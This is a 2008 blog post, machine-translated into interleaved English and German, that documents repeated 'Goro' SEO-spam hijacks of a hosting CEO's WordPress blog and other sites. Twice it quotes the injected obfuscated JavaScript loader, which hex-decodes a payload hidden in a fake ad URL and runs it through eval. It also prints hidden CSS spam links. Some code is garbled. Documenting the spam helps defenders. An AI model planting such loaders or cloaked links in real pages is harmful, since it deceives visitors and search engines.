Matt Heaton Bluehost Hostmonster CEO Hacked Again - Strike II Matt Heaton Bluehost Hostmonster CEO wieder gehackt - Strike II

Being Hacked by SEO spammer is seem like a yearly events at Mattheaton.com . Als Hacks von SEO Spammer ist offenbar wie eine jährliche Veranstaltungen auf Mattheaton.com. Matt’s WordPress blog was first hijacked 2 months ago on 26 November 2007 (according to my record). Matt's WordPress Blog wurde zum ersten Mal entführte Vor 2 Monaten am 26. November 2007 (nach meinen Rekord). You can digg my earlier post at → Matt Heaton BlueHost HostMonster CEO Official Blog Hacked . Sie können digg meine früheren Post an → Matt Heaton BlueHost HostMonster CEO Offizielle Blog Hacks.

It’sa big embarrassment for bluehost & hostmonster hosting to have their CEO’s blog being spamride every year (since 2007) . Es ist eine große Peinlichkeit für bluehost & hostmonster Hosting, ihre CEO Blog wird spamride jedes Jahr (seit 2007). Drilling Matt Heaton’s with bad ads wont solves the Blackhat Spam issues, I will left that particulars part to my readers to speculate. Bohren Matt Heaton's mit schlechten Anzeigen gewohnt löst die BlackHat Spam Fragen, ich werde linken Teil, dass Angaben zu meiner Leser zu spekulieren.

Mattheaton Goro Spam Chronology Mattheaton Goro Spam-Chronologie

Wordpress.net.in GORO Spam Pattern Wordpress.net.in GORO Spam-Muster

• All the infected sites will stop being index by archive.org few months before the spam started. Alle infizierten Websites werden stoppen Index wird von archive.org wenige Monate vor der Spam gestartet.
• From Nov 2007 to Jan 2008 (Right after Google Mass P3 De-rank fever) - The Blackhat Goro Spammer is targeting PR6 & PR7 sites running on WordPress (2.3.1 below) and on some rare case (tangonoticias.com) Joomla CMS (1.0.x) Von November 2007 bis Januar 2008 (Gleich nach Google-Mass P3 De-Rank-Fieber) - Die BlackHat Goro Spammer ist auf PR6 & PR7 Websites, die auf WordPress (2.3.1 unten) und auf einigen seltenen Fall (tangonoticias.com) Joomla CMS ( 1.0.x)
• I categorize this blackhat method as Sybil Attack Ich kategorisieren diese Blackhat-Methode als Sybil Attack
  

  A Sybil attack is one in which an attacker subverts the reputation system by creating a large number of pseudonymous entities, and using them to gain a disproportionately large influence. Ein Sybil ist ein Angriff, bei dem ein Angreifer untergräbt das Ansehen System durch die Schaffung einer großen Zahl von pseudonym Einrichtungen, und mit ihnen zu gewinnen einen unverhältnismäßig großen Einfluss. A reputation system’s vulnerability to a Sybil attack depends on how cheaply Sybils can be generated, the degree to which the reputation system accepts input from entities that do not have a chain of trust linking them to a trusted entity, and whether the reputation system treats all entities identically. Ein Ruf-System ist ein Anfälligkeit für Sybil Angriff hängt davon ab, wie billig Sybils erzeugt werden kann, das Ausmaß, in dem die Ruf-System akzeptiert Eingabe von Einrichtungen, die nicht über eine Kette von Vertrauen verbindet sie zu einem vertrauenswürdigen Unternehmen, und ob die Ruf-System behandelt alle Einheiten identisch.

  - Derank and manipulate their victim host to boost their pharmaceutical products on Google Local Search Index (gaming Localrank for better SERP) - Derank und manipulieren ihre Opfer Host, um ihre pharmazeutische Produkte auf Google Local Search Index (Gaming Localrank für eine bessere serp)

• Goro signatures: Goro Signaturen:
  1. html div with id “goro” html div mit der ID "Goro"

      <div id="goro"> <a href=">...</a> </div> <div id="goro"> <a href="> ...</ a> </ div> 
     

  2. javascript function name “getme()” JavaScript-Funktion Namen "getme ()"

      <script type="text/javascript">function getme(str){ var idx = str.indexOf('?'); if (idx == -1) return str; var len = str.length; var new_str = ''; var i = 1; for (  idx; idx < len; idx  = 2,i  ){ var ch = parseInt(str.substr(idx, 2), 16); new_str  = String.fromCharCode((ch   i) % 256); } eval(new_str); }getme('http://pagead2.googlesyndication.com/pagead/show_ads.js?636D6071685F676C255D5A68385E565D545C612E64334D100E4D545652090A0E5252564840083D414A4641354C0FF83E3E3C32F306'); </script> <script type="text/javascript"> Funktion getme (str) (var idx = str.indexOf ('?'); if (idx == -1) return str; var len = str.length; var new_str = ' '; Var i = 1; für (    idx; idx <len; idx   = 2, i    ) (var ch = parseInt (str.substr (idx, 2), 16); new_str   = String.fromCharCode (( ch   i)% 256);) eval (new_str);) getme ( 'http://pagead2.googlesyndication.com/pagead/show_ads.js?636D6071685F676C255D5A68385E565D545C612E64334D100E4D545652090A0E5252564840083D414A4641354C0FF83E3E3C32F306'); </ script> 
     

  3. Output spam on WordPress wp_footer & wp_head hook Spam-Ausgang auf WordPress wp_footer & wp_head Haken

Blackhat SEO Spamdexing Google Local Search Index BlackHat SEO Spamdexing Google Local Search Index

The below graph explain the Blackhat SEO Spamdexing methods for Manipulating Google Local SERP. Das folgende Diagramm erklärt die BlackHat SEO Spamdexing Methoden zur Manipulation von Google Local serp.

View Spamdexing Google Local Search Image Profil von Spamdexing Google Local Search Image

Note: A blackhat at hoqwarts ;) Hinweis: Ein Blackhat auf hoqwarts;)

ScreenGrab

• mattheaton.com Jan 28 2008 (1009 x 6576 pixels) mattheaton.com 28. Januar 2008 (1009 x 6576 Pixel)
• brainwave-india.com Jan 28 2008 (1016 x 2306 pixels) Geistesblitz-india.com 28. Januar 2008 (1016 x 2306 Pixel)
• Google Local Search Jan 28 2008 Spamdexing Results Google Local Search 28. Januar 2008 Spamdexing Ergebnisse
• stc-israel.org.il Jan 28 2008 spamdexing page (hidden text) STC-israel.org.il 28. Januar 2008 Spamdexing Seite (verborgener Text)
• stc-israel.org.il Jan 28 2008 spamdexing page (text reveal) STC-israel.org.il 28. Januar 2008 Spamdexing Seite (Text zeigen)

Recent Update Die jüngsten Update

• Feb 1, 2008 - we send a letter to matt@bluehost.com regarding this issue. 1. Februar, 2008 - wir schicken einen Brief an matt@bluehost.com in Bezug auf dieses Problem. Still waiting for his replies Warte immer noch auf seine Antworten
• Feb 3, 2008 - The Blackhat Goro Spammer change their target spamhost from http://www.brainwave-india.com (PR6) to http://www.thinkingphp.org (PR6) - Felix Geisendörfer . 3. Februar, 2008 - Die BlackHat Goro Spammer ändern ihre Ziel spamhost aus http://www.brainwave-india.com (PR6) zu http://www.thinkingphp.org (PR6) - Felix Geisendörfer.

   <div id="goro"><a href="http://www.thinkingphp.org/?read=796 ... prescription</a></div><script type="text/javascript">function getme(str){ var idx = str.indexOf('?'); if (idx == -1) return str; var len = str.length; var new_str = ''; var i = 1; for (  idx; idx < len; idx  = 2,i  ){ var ch = parseInt(str.substr(idx, 2), 16); new_str  = String.fromCharCode((ch   i) % 256); } eval(new_str); }getme('http://pagead2.googlesyndication.com/pagead/show_ads.js?636D6071685F676C255D5A68385E565D545C612E64334D100E4D545652090A0E5252564840083D414A4641354C0FF83E3E3C32F306'); </script> <div id="goro"> <a href = "http://www.thinkingphp.org/?read=796 ... Rezept </ a> </ div> <script type="text/javascript"> Funktion getme (str) (var idx = str.indexOf ('?'); if (idx == -1) return str; var len = str.length; var new_str =''; var i = 1; für (    idx; idx <len; idx   = 2, i    ) (var ch = parseInt (str.substr (idx, 2), 16); new_str   = String.fromCharCode ((ch   i)% 256);) eval ( new_str);) getme ( 'http://pagead2.googlesyndication.com/pagead/show_ads.js?636D6071685F676C255D5A68385E565D545C612E64334D100E4D545652090A0E5252564840083D414A4641354C0FF83E3E3C32F306'); </ script> 

  thinkingphp.org blog is running on WordPress 2.3.2 . thinkingphp.org Blog läuft auf WordPress 2.3.2. We send him email regarding the Goro Spam hijack . Wir schicken ihm E-Mail bezüglich der Goro Spam Entführung.

• Feb 8th 2008 , There is no signature of Goro spam (tag with id goro) on Matt’s blog the blackhat is now using Inline CSS Position Overflow to hide the spams links ↓ redirect to zoorender.com (PR6) . 8. Februar 2008, gibt es keine Unterschrift von Goro Spam (ID-Tag mit Goro) auf Matt's Blog der Blackhat ist jetzt mit Inline-CSS Standpunkt Overflow, um die Spams Links ↓ Umleitung zu zoorender.com (PR6).

   <div style="left: -2227px; position: absolute; top: -3337px"><a href="http://www.zoorender.com/?discount=1776">buying .. <div style="left: -2227px; position: absolute; top: -3337px"> <a href="http://www.zoorender.com/?discount=1776"> Kauf .. </div> </ div> 
  

• Feb 13th 2008 , Same methods as above (inline css cloacking) . 13. Februar 2008, gleichen Methoden wie oben (Inline-CSS cloacking).
  • HTML Code shown to a Regular Browser → 32,246 characters HTML-Code gezeigt, dass ein regulärer Browser → 32.246 Zeichen
  • HTML Code shown to Google Bot → 34,646 characters HTML-Code für Google-Bot → 34.646 Zeichen

  redirect to blog.jensfranke.com (PR7) . Umleitung zu blog.jensfranke.com (PR7).

   <div style="left: -2227px; position: absolute; top: -3337px"><a href="http://blog.jensfranke.com/?read=606">buy generic fi <div style="left: -2227px; position: absolute; top: -3337px"> <a href="http://blog.jensfranke.com/?read=606"> kaufen Generika fi 
  

• Feb 20th 2008 , CSS Cloacking redirect to http://www.entrepreneur27.org/ (PR6) . 20. Februar 2008, CSS Cloacking Umleitung zu http://www.entrepreneur27.org/ (PR6).

   <div style="left: -2227px; position: absolute; top: -3337px"><a href="http://www.entrepreneur27.org/?more=1591">bad side effects of viagra</a>&nbsp;<a href="http://www.entrepreneur27.org/?more=1592"> ... <div style="left: -2227px; position: absolute; top: -3337px"> <a href="http://www.entrepreneur27.org/?more=1591"> schlechte Nebenwirkungen von viagra </ a> <a href="http://www.entrepreneur27.org/?more=1592"> ... 
   </div> </ div> 
  

• Feb 24th 2008 , CSS Cloacking redirect to http://www.latenightpc.com (PR5) . mattheaton-com-022408-source.txt 24. Februar 2008, CSS Cloacking Umleitung zu http://www.latenightpc.com (PR5). Mattheaton-com-022408-source.txt
• Feb 26th 2008 , CSS Cloacking redirect to http://www.communitynext.com/ WordPress 2.3.3 (PR6) . mattheaton-com-022608-source.txt 26. Februar 2008, CSS Cloacking Umleitung zu http://www.communitynext.com/ WordPress 2.3.3 (PR6). Mattheaton-com-022608-source.txt

Related Posts Verwandte Beiträge

• How to Removed wordpress.net.in Spam Injection Wie an die entfernten wordpress.net.in Spam-Injection
• Matt Heaton BlueHost HostMonster CEO Official Blog Hacked Matt Heaton BlueHost HostMonster CEO offiziellen Blog gehackt

External Links Externe Links

• Bluehost & Hostmonster CEO’s Blog Bluehost & Hostmonster CEO's Blog
• National Vulnerabilities Database (NVD) on Wordpress 2.0 > 2.0.5 vulnerabilities National Schwachstellen-Datenbank (NVD) auf Wordpress 2.0> 2.0.5 Schwachstellen
• Wikipedia → Spamdexing Wikipedia → Spamdexing
• pseudo-flaw - more random wordpress blogs owned by seo spammers Pseudo-Fehler - mehr zufällig WordPress Blogs im Besitz von seo Spammer